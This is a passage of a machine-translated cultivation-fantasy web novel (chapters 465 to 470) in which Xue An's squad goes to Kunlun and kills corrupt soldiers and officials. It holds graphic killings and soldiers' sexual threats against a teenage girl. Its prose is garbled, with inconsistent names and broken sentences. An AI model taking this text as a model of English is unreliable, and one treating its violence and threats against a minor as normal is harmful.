    After a while, An Qing suddenly sat up, stretched out her hand to look at it, and said awkwardly, "Brother-in-law, why do I feel so awkward behind the recovery person!"

 Chapter 465： Its none of your business

    "That''s because you have been in the soul state for a long time, and you are accustomed to that light state. When you recover at first, you naturally feel uncomfortable." Xue An said.


    "Oh! Can I get out of the body in the future?" An Qing asked.


    "Of course!" Xue An nodded and added, "Anytime."


    "Then what about this big man?" An Qing pointed at the giant.


    You can''t take it with you.


    Xue An chuckled, "You can return it to the Zerg Secret Realm, because you have absorbed all the soul of the Zerg Queen, and that piece of heaven and earth is under your control. You can go back anytime, and you can also summon this giant at any time! "


    "Really! That''s great!" An Qing cheered, then patted the giant''s head and exhorted a few words in a low voice.


    The giant nodded and disappeared into the world in a flash.


    And the black air in the middle of Chongxian Mountain gradually dissipated, and finally disappeared.


    That''s the end of the Zerg matter.


    The one who made the most profit in the end was An Qing.


    Not only won the talent of the Zerg queen, the most important thing is to condense his soul to the essence.


    Maybe she still doesn''t understand the use of this, but one day she will understand the many benefits of a strong soul.


    "Sister, are you still going on your honeymoon trip?" An Qing asked.


    An Yan shook his head, "No, it''s boring! Why not play horror games at home?"


    An Qing laughed and said mysteriously: "Sister, let me tell you! If you want to experience the real horror, you might as well follow us on missions. During this time, we have solved the Millennium Corpse King, the young ghost general, Peerless soul..."


    "Each is a first-class horror, guaranteed to make you feel the hearty creepy and tingling scalp panic."


    The more An Yan listened, the paler her face.


    Xue An laughed dumbfounded when he heard it, and blurted out: "Your sister can be scared to cry if she plays a game softly. If she really follows you on missions... the picture is simply unimaginable!"


    An Yan raised her eyebrows, cleverly smiled and put her slender hands on Xue An''s waist, and said softly: "Husband, you say...who is so soft?"


    With that, An Yan grabbed a small piece of Xue An''s meat and twisted it counterclockwise.


    Xue An grinned quickly and begged for mercy: "I didn''t say you, Yan''er, really! I never said you! I swear to God!"


    As soon as the voice fell, a faint thunder came from the sky.


    Xue An narrowed his eyes, looked up at the clear sky, and whispered softly: "This is nothing to do with you, so don''t join in the fun!"


    Following Xue An''s voice, the rumbling thunder stopped immediately.


    Then Xue An changed to a smiling face, and said to Anyan, "Look, I didn''t say you!"


    An Yan couldn''t laugh or cry. In fact, she couldn''t bear to twist it vigorously, just a little punishment, and she also knew that Xue An actually didn''t hurt at all, it was all pretending.


    Seeing Xue An being such a rascal now, she can only take a sip: "I hate it, I will play a rascal!"


    "Hehe, okay, Yan''er, don''t be angry!"


    The scene of the two madly spreading dog food made An Qing who was standing by the side feel very uncomfortable, but she couldn''t say anything, she had to look up at the sky without squinting.


    "Auntie, what do you think God is doing?" Nian Nian asked.


    "Oh, nothing! Niannian, do you think that cloud on the horizon looks like a piece of dog food!"


    "Dog food?" Nian Nian looked confused and turned to look.


    Then shook his head, "It''s not like!"


    "Huh? How do you know it''s not like it?"


    A trace of embarrassment appeared on Nian Nian Yuanyuan''s face, "Auntie, let me tell you secretly, you are not allowed to tell others!"


    "Hmm!"


    "Because I ate it secretly!"


    An Qing''s eyes rounded, she was embarrassed when she saw it, and then said, "Ok...is it delicious?"


    Nian Nian was taken aback, it seemed that she didn''t expect that my aunt would ask this, then nodded, and shook her head, "It''s delicious at first, but it won''t taste good if you eat too much!"


    "Then how much did you eat?"


    "A bag!"


    Think about looking suspiciously at the aunt and sister who are muttering and don''t know what to say.


    These two people laughed suspiciously!


    At this moment.


    Hu Sling arrived in person.


    "Mr. Xue!" Hu Commander said respectfully.


    Xue An nodded slightly.


    An Qing muttered while watching.


    Is this the person who just smiled at his sister?


    This change is simply too big.


    "Thank you and Phoenix for your action, otherwise the people of Dianzhou may be in danger! I have prepared a booze, please show your face!"


    The current Hu Commander is convinced, and he has no desire to compete with the Phoenix.


    Especially for Xue An.


    He has only infinite awe now.


    He has witnessed the power of the Zerg.


    Unexpectedly, as soon as Xue An appeared, in just two days, all the Zerg''s old nest would be taken away.


    This shows that Xue An''s strength is even more unfathomable than the rumors.


    People are like this.


    When the strength is almost the same, it is most prone to distracting thoughts such as jealousy.


    But if the difference in strength is too great, you can only feel admiration.


    Xue An looked back at the Fire Phoenix people who were having a great conversation with the members of the Blood Qilin, and couldn''t help nodding.


    "So, that would be annoying!"


    Of course, the dinner party will not be a little boiled wine like Hu Sling said, on the contrary, this dinner party can be described as extremely rich.


    At the same time, almost all the upper reaches of Dianzhou have arrived.


    People all want to see what this fire phoenix that has hidden China''s number one team is like.


    At the same time, I want to know Xue An, the peerless and powerful man who turned his hands for the clouds and hands for the rain.


    But many people may be disappointed.


    Because the core figures such as Xue An and Hu Commander did not appear in the hall at all, but a table of sumptuous banquets were set up in a separate VIP room.


    At the same time Hu Commander carefully ordered people to prepare a table of things and toys that children like to eat.


    The two little girls were playing with joy.


    The two sisters Anyan Anqing played around with them.


    Upon seeing this, Commander Hu couldn''t help sighing and said, "Mr. Xue is really lucky!"


    Xue An smiled slightly did not say anything.


    "Come on, let me first offer Mr. a glass. This is to thank you for the tens of millions of people in Dianzhou!" Hu Commander said solemnly.


    Xue An nodded, drank it all, then put down the glass, and said lightly: "Hu Commander is so kind, but what''s the matter?"


    "Sir really has good eyesight, yes, I do want something!"


    Xue An waved his hand, "But about this blood unicorn?"


    A hint of embarrassment appeared on Hu Siling''s face, "Yes!"


    But Zhang Chu lowered his head and said nothing.


    Xue An smiled faintly.


    "I know what Hu Commander wants to say, but I can only tell you that even this fire phoenix is ??just a matter of convenience, so I can''t intervene in the blood unicorn matter! After all, Captain Zhang is already in charge!"

 Chapter 466： Unexpected changes are coming

    Zhang Chu trembled all over, as if he didn''t expect Xue An to say this, he couldn''t help raising his head and saying, "Mr. Xue..."


    Xue An waved his hand, "I know what you want to say, in fact, the Taoism of the Heavenly Master Mansion is very good! I don''t need me to intervene at all, as long as time, I think you will be able to train a good army!"


    Zhang Chu''s stunned face gradually showed excitement.


    He has been confused all this time.


    Blood Qilin suffered heavy casualties, and the real army of the Taoist government was wiped out.


    This made Zhang Chu suspicious.


    Is that really capable of forming a strong army?


    Therefore, when Commander Hu said to him politely that he wanted to ask Xue An for help, he nodded and expressed no objection.


    Now listening to the meaning of Xue An''s words, he also recognizes the orthodoxy of Tianshifu.


    This naturally made Zhang Chu feel very confused.


    "Mr. Xue, thank you! I also know that the Heavenly Master''s Mansion is certainly not bad, everything is because I am too talented, and even the inherited Laojun sword was given to Kaifeng by you." Zhang Chu said with a look of shame.


    Xue An smiled slightly and changed the conversation, "Your blood unicorn uses the technique of Taoist real soldiers?"


    "Yes!"


    "But I think it seems to be a broken version!"


    Zhang Chu''s expression dimmed, "The full version of the Taoist True Weapon Technique was lost in the chaos of the late Song Dynasty!"


    Xue An nodded slightly, "Although I can''t intervene to help, I can help you complete the Daofu True Weapon Art!"


    When Zhang Chu heard this, Huo Ran stood up, got up and left his seat, and fell to his knees.


    "Sir, if you can really complete the real soldiers of the Taoist mansion that have been lost for thousands of years in my Tianshi Mansion, I, Zhang Chu, would like to lead the horse for you!"


    Zhang Chu was already excited and really didn''t know how to say it.


    Xue An shook his head and chuckled, "It doesn''t have to be this way! After all, the world is getting more and more chaotic. It is simply too busy for a fire phoenix alone. You must rely on your blood unicorns to guard Southwest China!"


    Commander Hu was shocked when he heard this, "Mister meant to say..."


    Xue An nodded, "There will be more and more such things in the future!"


    "Why then?" Hu Commander asked.


    Xue An lowered his head and drank a glass, "I am also wondering, the aura between heaven and earth has gradually increased, and many indeterminate existences have also begun to appear. It seems that something has been broken!


    This kind of aura recovery is not uncommon among the heavens and all realms.


    But Xue An always felt that this matter was not that simple.


    The appearance of the God of Light and the Blood Ancestor before also confirmed his suspicion.


    This world is definitely not that simple.


    Otherwise, it will not attract the coveting of the gods and demons.


    Thinking of this, a smile appeared on Xue An''s mouth.


    Everything... more and more interesting.


    But Xue An''s words shocked Commander Hu and Zhang Chu, and then they looked at each other in horror.


    If the future world is really as Xue An said, it would be a great change that has never happened before.


    Many old orders will be broken.


    Thinking of this, Commander Hu couldn''t help getting up and sitting away, and bowed respectfully, "Thank you, Mr. for reminding!"


    Xue An smiled faintly, drank all the wine, and then whispered: "Come here!"


    Zhang Chu respectfully stepped forward.


    Xue An patted his forehead lightly.


    Zhang Chu was shocked, and he felt that there were many more memories in his mind.


    After he was meditating for a while, he couldn''t help getting excited.


    Because Xue An''s Daofu True Weapon Art was not only a complete version, but also added many powerful formations.


    Although Zhang Chu only briefly felt these things, he could still feel the powerful power contained in these formations.


    "Thank you, Mr.! If something happens to your husband in the future, Zhang Chu will go through the fire and water!" Zhang Chu said solemnly.


    Xue An just laughed at this.


    The banquet was gone.


    Xue An stayed in Dianzhou all night.


    the next day.


    He came to the camp of the Fire Phoenix.


    When he walked into the barracks.


    Cheng Hao and others immediately stood up to greet them.


    "Instructor!"


    Xue An nodded, then looked around everyone in the field of view.


    No one spoke, everyone looked at Xue An with admiring eyes.


    After patrolling for a while, Xue An smiled slightly, "Not bad!"


    Cheng Hao and others secretly breathed a sigh of relief.


    These days, they have never slackened.


    Every day I try to improve my cultivation.


    Then I heard Xue An''s compliment.


    Xue An nodded Zhou Daniu.


    Zhou Daniu strode forward, "Instructor!"


    Xue An squeezed his arm and nodded with approval.


    Among these people of Fire Phoenix, Zhou Daniu was the one who made the fastest progress in cultivation.


    The Immortal Vajra Law he gave him has been practiced to a very high level.


    "Injured?" Xue An asked.


    "Muslim, I was hurt by that big flapping moth, and it''s all well now!" Zhou Daniu said in a humble voice.


    Xue An nodded, and suddenly punched Zhou Daniu in the chest.


    There was a slight commotion in the audience.


    But Cheng Hao and others were full of envy.


    Because they knew that Xue An would definitely not hurt Zhou Daniu, which was obviously helping him.


    really.


    Zhou Daniu felt that the faint tingling in his chest disappeared after being hit by the instructor, and replaced by an unprecedented sense of joy.


    Zhou Daniu was intoxicated, and Xue An said solemnly: "Exercise your Immortal Vajra Method with all your strength!"


    When Zhou Daniu heard the words, he immediately mobilized the Immortal Vajra Method with all his strength.


    Cheng Hao, Zou Yi and others couldn''t help but exclaim.


    Zhou Daniu really deserves to be one of the strongest combat power in the entire Fire Phoenix.


    Just relying on this cultivation level is enough to be proud.


    Xue An smiled slightly, "Sure enough! Look at the punch!"


    After all, he suddenly punched out.


    This punch wasn''t as gentle as the one that I just treated Zhou Da Niu.


    It can even be said to have come with an extremely powerful aura.


    Zhou Daniu''s pupils shrank even more.


    He only felt that Xue An''s punch was like smashing a mountain directly.


    But Xue An said that if he let him do his best, Zhou Daniu frantically urged the Immortal Vajra Method, and the golden light on his body became more and more brilliant.


    Even faintly has become like the substance.


    at this time.


    Xue An''s punch arrived.


    boom!


    The fist wind aroused by this fist directly destroyed the surrounding walls.


    The golden light on Zhou Daniu''s body shattered after a few flashes.


    "Da Niu!" Zou Yi yelled with some worry At this moment, Xue An closed his fist and stood with his hand held.


    "Indestructible King Kong, not broken or standing, now I crush your golden light, can help you enter the next level as soon as possible!"


    Hearing what Xue An said, everyone understood what was going on, and they all looked at Zhou Daniu with envy.


    Zhou Da Niu smiled sullenly, "Instructor, just now I thought you were going to kill me with a punch! I was so scared that I was still wondering if I did something wrong!"


    Hearing Zhou Daniu''s words, the audience burst into laughter.


    Xue An shook his head and chuckled, then pointed at everyone, "Your current cultivation base is included, but not enough! Next, I will give you a few more special training!"


    The audience was thunderous, and Cheng Hao couldn''t help getting excited, "Instructor, where are we going to train?"


    Xue An smiled faintly, "The special training location is...Kunlun!"

 Chapter 467： Aoki status

    Kunlun Secret Realm.


    Qingmu Town.


    Now Qingmu Town is no longer a small village, but has become a huge city.


    As usual, there will be caravans from all over Kunlun commuting here every day.


    But since last month, the number of caravans has dropped sharply, and now it is even more deserted, and there is not even a caravan.


    Bian Qingmu was sitting in the chamber, holding an official letter from Jizhou City in his hand, looking extremely ugly.


    Bian Hua watched from the side, and finally couldn''t help standing up and saying, "Sister Qingmu, this new lord of Jizhou City is too arrogant. We actually let us make up all the taxes we owed in Qingmu Town! But he Before taking office, there was no such **** tax at all! This is just naked blackmail!"


    Bian Qingmu was silent.


    "Yeah! Sister Aomu, these people are so deceiving! Are they not afraid that Master Immortal will ask them to settle accounts after returning?" The slim Bian Tian, ??who had already been out, couldn''t help but angrily said.


    Bian Qingmu smiled bitterly when he heard the words.


    If they are really afraid, then this will not happen.


    According to the calculation, Xue An has left Kunlun for more than two years.


    At the beginning, everything was as usual, and Qingmu Town was also thriving.


    But since last month, everything has changed.


    First, the caravan broke off, and then forced to pay taxes.


    But Bian Qingmu knew that all this was just appearance.


    Thinking of this, Bian Qingmu couldn''t help but recall the letter Zhu Ruyan had received from Kunlun City a few days ago.


    The situation described above makes Bian Qingmu worried.


    The two newly born forces, the Fire King Hall and Xuanfeng Tower, have already occupied Kunlun City, and have threatened several times that if Xue An dared to show up, they would definitely destroy it.


    This is the true root of the current Qingmu Township falling to this point.


    Without the backing of these two major forces, how could City Lord Jizhou dare to be so rampant?


    "Okay, don''t say it! You go and close the city gate first, I will take care of these things!" Bian Qingmu ordered.


    Bian Hua and Bian Tian looked at each other, then stopped talking, and finally bowed their heads and said, "Yes!"


    The two of them left the chamber and came towards the city gate.


    Along the way, the shops along the street were basically unopened, and the bustling streets in the past became deserted and deserted.


    Bian Tian couldn''t help but feel a little annoyed, "These big bad guys who see the benefits and forget the righteousness, they all rushed over when they saw our prosperity. Now they see something wrong and run faster than rabbits!"


    Bian Hua shook his head and sighed softly, "Well, these vendors are like this, and they are not worthy of criticism. The key now is how to help Sister Aomu overcome the current difficulties."


    "How can I help? The lion of City Lord Jizhou opened his mouth, and the required number is simply unrealistic! He simply wants us to die!" Bian Tian said in frustration.


    Bian Hua was silent for a moment, knowing that his sister was right, and he couldn''t help but sigh faintly.


    "It will be fine if Master Immortal comes back!"


    "Who said no! These **** guys, only Master Immortal can heal them when they come back!" Bian Tian said bitterly.


    At this time, the two of them had already arrived at the gate of the city.


    The guards all leaned against the corner and chatted listlessly, and even when they saw them coming, they didn''t mean to get up.


    Bian Tian couldn''t bear it, and walked over a few steps, "It''s time, quickly close the city gate!"


    Several soldiers looked up at Bian Tian, ??then lowered their heads and started chatting.


    "Hey, how about talking to you? Didn''t you hear?" Bian Tian was even more annoyed.


    At this time, the soldier leader Xiong Laosan raised his head and sneered, "Miss Bian Tian, ??the brothers can''t even eat food, so how can you have the strength to close the city gate?"


    "You..." Bian Tian was speechless.


    "Originally, we should have paid the payment last month, but now we haven''t even seen any hairs. You are all high-ranking cultivators, but we are all ordinary people. We don''t even have money to eat, so naturally we are too lazy to move! "


    Xiong Laosan''s words aroused the indignation of his soldiers.


    "Yes, we are asking for payment!"


    "How can there be such a thing, you are delicious and spicy, but let us drink northwest wind here?"


    "Yes!"


    Bian Tian is just a fourteen-five-year-old girl. After such incidents, Bian Tian''s face is blushing.


    At this time, Bian Hua stepped forward and said in a deep voice, "What are you going to do? Xiong Laosan, when Qingmu Town was prosperous, you insisted on this errand from the town chief, and all of you have been greedy for ink in the past two years. A lot of money!"


    "It''s only been a month without paying the payment. You are just saying something inconsistent here. Don''t you have any conscience?"


    Bianhua''s questioning made Old 3 Xiong''s face blue and white, and finally gritted his teeth and threw the hat on his head to the ground.


    "I don''t understand what you are talking about. I only know that working money is justified. Not to mention that it hasn''t been issued for a month, but it will not work one day! Brothers, this Qingmu Town is going to be over! The lord of Jizhou City rolls the name To clean them up, let''s quit!"


    "Yes! Quit it!" Xiong Laosan shouted, all his subordinates clamored and got up one after another.


    When Bian Hua saw this, he couldn''t help but furious, stretched out his hand and drew the long sword from his waist.


    "I think you were instigated by others, so you deliberately made trouble!"


    "Oh, I dare to draw a sword! I really thought that Grandpa Xiong was afraid that you wouldn''t succeed! Brothers, come on! Something happened, Lord Jizhou City Lord was holding him!" Xiong Laosan said with a grinning smile.


    His words also confirmed Bianhua''s guess.


    Sure enough, these guys had betrayed Qingmu Town and became the lackeys of Jizhou City.


    Bian Hua was so angry that he held a sword in his hand.


    But his talent in cultivation is so ordinary, and these swords have never encountered Xiong Lao San.


    Older Xiong grinned, "Boy, dare you challenge Grandpa Xiong even with this ability? I will teach you a lesson today!"


    As he said, his hands suddenly became thicker and exuded a thick black air, "Black bear paw!"


    With one punch, Xiong Laosan knocked away the long sword in Bianhua''s hand.


    Bian Hua staggered back a few steps, and exclaimed: "You actually have cultivation skills?"


    "Hey, everything is because of the rewards of Lord City Lord!" Xiong Laosan smiled triumphantly, and grabbed Bianhua in one hand.


    At this time, Bian Tian was also surrounded by those soldiers.


    These soldiers saw the beautiful Bian Tian all their eyes lighted up, and they fought and said something inconsistent.


    "Tsk tsk, this little girl is so tender, as if you can pinch out water with a pinch!"


    "Hey, if you catch her, we will be blessed!"


    "I''ll be the first!"


    These words made Bian Tian flushed and furious.


    But her ability is only a little better than Bian Hua, and these soldiers also have good cultivation skills at the moment, so under their siege, Bian Tian is simply stubborn and dangerous.


    Bian Tian didn''t pay attention, the long sword in his hand was also shot down, and then a soldier Ding rushed forward with a grinning smile.


    At this moment, a dark dagger appeared in the void, directly slitting the soldier''s throat.


    Blood spattered.


    The dead body fell to the ground.

 Chapter 468： Master Xianshi

    "Who!" Xiong Lao San and the others exclaimed.


    In the midair appeared a silly man, who smiled slightly, "Kill your people!"


    "Pick up ideas, let''s go together!"


    Xiong Laosan was not a fool, and he knew that he was definitely not an ordinary person through his clean and neat killing methods, so he made a decision immediately.


    A dozen soldiers raised their weapons and rushed up.


    Sun Ling smiled slightly and disappeared directly into the spot, letting all the smashed swords go to nothing.


    puff.


    There was a muffled sound.


    Another soldier''s neck was cut by a dagger, and the blood mixed with the remaining gas in the trachea made a **** ho.


    Xiong Laosan looked numb all over.


    This man was so fascinating that he looked like a ghost.


    This group of himself is not his opponent at all.


    Xiong Laosan had a retreat and wanted to sneak away.


    But at this time, a group of people came from outside the city gate.


    It was Cheng Hao who led away.


    When he saw the situation in the field, he couldn''t help frowning slightly, "Sun Ling, don''t play! The instructor will bring the eldest lady and the others over after a while. It''s not good to see this **** scene!"


    "Hey! Understand!" Sun Ling''s laughter came from the void, and then the offensive suddenly increased.


    Puff puff.


    After several screams, the remaining soldiers were all killed.


    Older Xiong was so frightened that his whole body was cold. He was really afraid of Sun Ling''s haunting attack. He gritted his teeth, turned and ran out.


    Staying here will definitely die, it is better to bet that these newcomers are not very good.


    With this fluke in his heart, Old Master Xiong roared, "Those who block me die!"


    At the same time, he urged the black bear''s paw with all his strength, and the black energy enveloped his hands, and his momentum was quite amazing.


    Sun Ling''s figure emerged, standing in place, holding his shoulders and watching quietly, without chasing after him.


    Xiong Laosan was overjoyed. As long as this ghost-like man didn''t chase him, his chances of survival would be much higher.


    But he didn''t notice at all, Sun Ling looked at him with a narrow smile in his eyes.


    It''s like... watching a desperate beast throw himself into the net.


    "Go away!" Seeing these people didn''t move, Old San Xiong roared in anxious heart and blasted out a palm.


    Black Bear''s Paw is a superficial martial arts, but when used in the hands of Xiong Lao San, it is quite powerful.


    This palm agitated a powerful palm.


    Even Xiong Laosan was very satisfied with his palm, and a triumphant smile appeared on his face.


    But the smile froze as soon as it reached the face.


    Because a brawny man with golden light all over appeared in front of him.


    The black bear''s paw hit the brawny man''s chest directly.


    But Xiong Laosan felt as if he had hit a rock.


    With a click.


    Xiong Laosan''s wrist was shaken.


    The brawny man didn''t even move, he just grinned, "Is the Kunlun pawns just this strength? Even the golden light of my body guard is not touched."


    Laosan Xiong was both painful and scared, and shouted, "Who are you? I''m a subordinate of Lord Jizhou City Lord, you..."


    Zhou Daniu took a palm and smashed Xiong Laosan''s head directly, and then said: "What are you doing so loudly? My brain hurts because of the noise!"


    Bian Hua and Bian Tian watched this scene stupidly.


    From when the first soldier was killed to when Xiong Laosan was beaten to pieces, it took only half a time.


    Who are these people?


    When I was surprised.


    Cheng Hao waved his hand, "Clean up the corpses!"


    Someone immediately started to clean up the scene.


    Cheng Hao took a step forward and smiled slightly, "Hello, is this Qingmu Town?"


    Bian Hua hesitated for a moment, then nodded, "Yes, this is Qingmu Town, who are you?"


    "We are the Fire Phoenix Special Forces."


    "Fire Phoenix Special Forces?" Bian Hua and Bian Tian looked at each other, and they all saw the doubt in each other''s eyes.


    "What are you doing here?" Bian Hua asked in a deep voice.


    Cheng Hao smiled and said: "The two should be brothers and sisters of the Bian family! Our instructor ordered us to come first, and happened to see the scene just now, so we took action to eliminate these soldiers."


    "Instructor...?"


    "Our instructor is Xue An!" Cheng Hao solemnly said.


    Hearing this name, Bian Hua and Bian Tian shook together, and then Bian Tian shouted in surprise.


    "It turned out to be Master Xianshi! Master Xianshi has finally returned!"


    Cheng Hao was slightly startled.


    Master Xianshi...?


    Well, this name seems to be very appropriate.


    When Xue An led the family into Qingmu Town.


    Bian Qingmu also just got the news, and hurriedly led people to greet him.


    "Master..." Bian Qingmu''s surprise shout stopped abruptly.


    Because she saw the beautiful An Yan standing next to Xue An.


    These two stood together, really like a couple of gods and goddesses.


    Bian Qingmu was stunned for a moment, and then hurriedly said solemnly, "Master Xianshi, Madam!"


    Xue An smiled slightly, "Let''s call me Xue An, Master Xianshi sounds like I am an old man!"


    Xue An''s words caused Bian Qingmu''s originally hanging heart to suddenly relax, and he couldn''t help but smile: "Yes! Mr. Xue!"


    Then her eyes flowed, and she saw Xue Xiang and Xue Nian standing aside with curious faces, and her eyes lit up again.


    What a pair of little girls who have carved jade.


    This should be Mr. Xue''s daughter.


    This time he came to the Kunlun Secret Realm for special training, and Xue An brought An Yan and his two daughters together.


    In fact, they had arrived a day ago, but Xue An took the fire phoenix people around the Kunlun mountains and killed dozens of powerful monsters before Shi Shiran rushed to Qingmu Town.


    Because the two little girls were new to everything and insisted on walking underneath, Xue An asked Cheng Hao and others to find the way first, and they followed.


    This happened at the gate of the city.


    After entering the chamber.


    Xue An sat in the main seat.


    Someone sent a variety of fresh fruits.


    Bian Tian deliberately brought it to the two little girls.


    "Two young ladies, try it! These are all the special fruits of Qingmu Town!" Bian Tian said with a smile.


    "Thank you sister!" Xue Xiang and Xue Nian were not polite, they picked them up and ate them.


    sister����.


    The whole title made Bian Tian''s smile brighter.


    Xue An looked at the few people in the chamber.


    "what happened?"


    Bian Qingmu smiled bitterly and wanted to talk.


    Bian Tian said with a grieved expression on the side: "Master Xianshi, it''s all the big bad guys! They deliberately bullied Sister Qingmu!"


    Xue An raised his eyebrows slightly and smiled faintly, "Oh? Then Xiaotian will tell you what''s going on."


    In the end, in Bian Tian''s narration, Xue An learned about the current situation of Qingmu Town.


    The chamber was quiet, Xue An leaned on the chair, tapping the armrest of the chair lightly with his fingers.


    "Fire King Hall, Xuanfeng Tower..."


    Bian Qingmu lowered his head and said, "Yes, these are two newly-emerged organizations a year ago. The leader''s cultivation is unpredictable, and his strength is very powerful. In just one year, he completely occupied Kunlun City. They have also eaten up most of the industry."

 Chapter 469： 2 whetstones

    Speaking of these, Bian Qingmu felt heavy in his heart.


    Over the past year or so, the two new sects, the Fire King Palace and Xuanfeng Tower, have swept through most of the Kunlun Secret Realm with wildfires.


    Many martial arts that have been passed down for thousands of years have been destroyed by it, and countless experts who have been famous for a long time have also been killed by it.


    This growth rate is enough to prove the horror of the strength of these two schools.


    Moreover, these two schools have threatened more than once that if Xue An dares to return, he will definitely be killed.


    Bian Qingmu admires Xue An''s strength very much, but this time he faces two clans whose strength is not inferior to the fairy palace in the heyday.


    Bian Qingmu always felt a little unsure in his heart.


    Xue An laughed when he heard the words, "It''s interesting."


    Then he turned his head and stroked Cheng Hao and the others and said: "This is the Kunlun Secret Realm, which is here to train you. Now that there is a ready-made whetstone, we will set off tomorrow!"


    "Yes!" Cheng Hao and the others bowed together.


    The sound shook the roof tiles.


    Bian Qingmu looked at the murderous Fire Phoenix members and couldn''t help feeling awe-inspiring.


    Whetstone.


    It turns out that in the eyes of the husband, these two giants that have stirred Kunlun are just two whetstones?


    Bian Tian couldn''t help asking at this moment: "Master Xianshi, where do you want to go first tomorrow?"


    "Since our lord of the city wants to make up the tax, we must give him face! Let''s go to Jizhou first!" Xue An said lightly.


    Jizhou City.


    Jia Yingfa is in a good mood these past two days.


    Since embracing the thigh of the Fire King Palace, Jia Yingfa felt that the time had come.


    Otherwise, how could he become the lord of Jizhou City?


    "Has the tax from Qingmu Town been delivered?" Jia Ying asked.


    "Return to the Lord of the City, not yet!"


    "Asshole!" Jia Ying started to shoot the case, "I sent an official letter, ordering him to pay all the taxes owed within three days. Tomorrow is the third day, and now there is no personal image! It can be seen that this Qingmu Zhenyan There is no city owner like me!"


    Jia Yingfa blew his beard and stared, burst into thunder, and then said coldly: "If tomorrow doesn''t come, then send someone to level this little Qingmu Town!"


    "Yes!"


    Jia Yingfa waved his hand, and the servant retreated.


    Then Jia Yingfa put on a flattering face, ran to the back room in small steps, and fell to the ground with a plop.


    "The disciple has seen the hall master!"


    "Get up!"


    Jia Yingfa stood up, nodded and said with a bow: "Back to the Hall Master, the people in Qingmu Town haven''t come until today, I guess they will definitely not come tomorrow!"


    Du Bing, the hall master of the Fire God Temple, put down his tea cup and smiled, "Very well, you did a good job! I will report it to the hall master later."


    Jia Yingfa was almost exasperated, "Thank you for your cultivation! I have already sent a message. If they have not arrived in Qingmu Town tomorrow, they will immediately send someone to level the Qingmu Town!"


    Du Bing nodded, and suddenly lowered his voice, "I heard that the lord of Qingmu Town is a woman?"


    Jia Ying showed a knowing smile when she heard the words, and went forward and whispered: "My lord, the town lord of Qingmu Town, Bian Qingmu Nai, is a very famous woman in the east of Kunlun with beautiful appearance, and I also heard that one of her My sister is called Bian Tian, ??she is in the cardamom years, and she looks even more like a country."


    Du Bing''s eyes lit up and he coughed a few times: "I think these two women must know some secrets about Xue An. Don''t hurt them at that time, and send them to me for detailed questioning."


    "My Lord, don''t worry, I will do this for you properly."


    Du Bing patted Jia Yingfa''s shoulder with satisfaction, "Very well, you are a man of work, and the hall master is sure to be expected in the future, let''s go on!"


    "Yes!"


    Jia Yingfa walked out of the back house, feeling that his bones were all three points lighter, and his whole body was light and light.


    Now he was just a incense master of the Fire God Temple, and he was already the city master guarding one side.


    If you really become the hall master, wouldn''t it be easy to have glory and wealth and immortality?


    Thinking about it, Jia Yingfa felt that Qingmu Town was a key to his better life in the future.


    This matter must be dealt with! Jia Yingfa secretly made up his mind.


    That night, he summoned many of his masters overnight and worked out various plans in detail.


    At the same time, Jia Ying issued a death order.


    Be sure to capture the two sisters Bian Aoki and Bian Tian alive.


    When everything is ready, it is already noon the next day, and Jia Yingfa is about to set off.


    The butler rushed in, with a strange expression on his face.


    "My lord! The people from Qingmu Town...coming!"


    "Huh?" Jia Yingfa widened his eyes.


    "How many people came?"


    "People are pretty, listen to them, they are here to pay taxes!"


    Jia Yingfa was a little silly.


    At that time, he just wanted to find an excuse to conquer Qingmu Town, so he demanded a surprisingly large amount with one mouth.


    I didn''t expect that they could really make it together.


    Jia Ying was in deep thought for a moment, and said with a deep face: "Go, let''s take a look first!"


    Jia Yingfa walked to the front.


    really.


    I saw many people standing in front of the mansion gate.


    Jia Ying coughed, walked slowly to the steps in front of the mansion gate, looked at the people below, and then said solemnly: "Are you...are all from Qingmu Town?"


    Bian Qingmu was talking to Xue An. After hearing the shout, he looked up at Jia Yingfa and couldn''t help gritting his teeth.


    "Sir, this is the lord of Jizhou City."


    Jia Yingfa also saw Bian Qingmu at this moment, and said with a sneer: "Bian Town Lord, I said that it will be delivered within three days. You are really punctual, but it is stuck at the last time. This is despising my Jizhou city. Huh?"


    Bian Qingmu hasn''t spoken yet Xue An smiled slightly and took a step forward.


    "who are you?"


    "Me?" Jia Yingfa raised her head arrogantly, "I am the lord of Jizhou City! Boy, you ask who I am, what about you?"


    "Oh, it turns out that you are the lord of Jizhou. In this way, you did the same thing that forced Qingmu Town to pay taxes!"


    "What is persecution? This is what they should pay!"


    "You fart!" Bian Hua couldn''t bear it, jumping up and saying.


    "I asked, you just let us pay in Qingmu Town in Jizhou, and you keep saying what should be?"


    Jia Yingfa''s face condensed after being scolded, and said with a sneer: "Bian Town Lord, it looks like you are here to find something!"


    Xue An smiled upon hearing this, shook his head and said: "You are wrong!"


    "We are not here to find things, but to kill people!"


    Xue An''s words just fell.


    The members of the Fire Phoenix who had been hiding in the crowd all violently.


    Before the guards around Jia Yingfa could react, he was caught off guard by Cheng Hao and others.


    All this happened like an electric flint. Jia Yingfa didn''t react at all. It wasn''t until the guards around him died that he trembled all over, and a look of horror appeared on his face.

 Chapter 470： Wash your neck and wait for me to kill!

    At this moment, there was a ripple in the space behind him, and a hand holding a dagger was stretched out to cut off Jia Yingfa''s head.


    At this moment, someone shouted: "Who dares to hurt someone!"


    With that, more than a dozen people hurried over, and the leader punched out.


    boom.


    Sun Ling had to emerge from the void before he escaped this punch.


    Those who came were all the masters Jia Yingfa had invited, and they were Jia Yingfa''s greatest support.


    As soon as these people appeared, Jia Yingfa''s waist couldn''t help standing up, and he said bitterly: "Qingmu Town blatantly conspired, kill without mercy!"


    "Yes!"


    These guards all have good cultivation skills, and they all rushed over after hearing what Jia Ying had said.


    In their opinion, the highest cultivation level of Cheng Hao and others is just Sanxian, which is not worth mentioning.


    Therefore, all of them underestimated the enemy.


    Can wait to take over.


    These guards couldn''t help being dumbfounded.


    The current cultivation base of Cheng Hao and others is a bit low, but because they are all tempered from life and death in blood and fire, they are especially good at teamwork.


    So as soon as they contacted, they fell into the siege of the fire phoenix.


    Moreover, the techniques of these people are strange and difficult to tell.


    Even if the cultivation base is high, it can''t do anything about it.


    "Damn, dare you come out and fight Lao Tzu head-on!" One of the guards was irritated by Sun Ling, who was so fascinating, he couldn''t help but anger.


    As soon as the voice fell, Zhou Daniu suddenly rushed forward, with golden light all over his body, raising his fists.


    The guard hadn''t taken it seriously yet, and actually raised his fist to parry.


    Click.


    The guard''s arm was smashed by Zhou Da Niusheng.


    The guard just screamed, and a pitch-black dagger took his life.


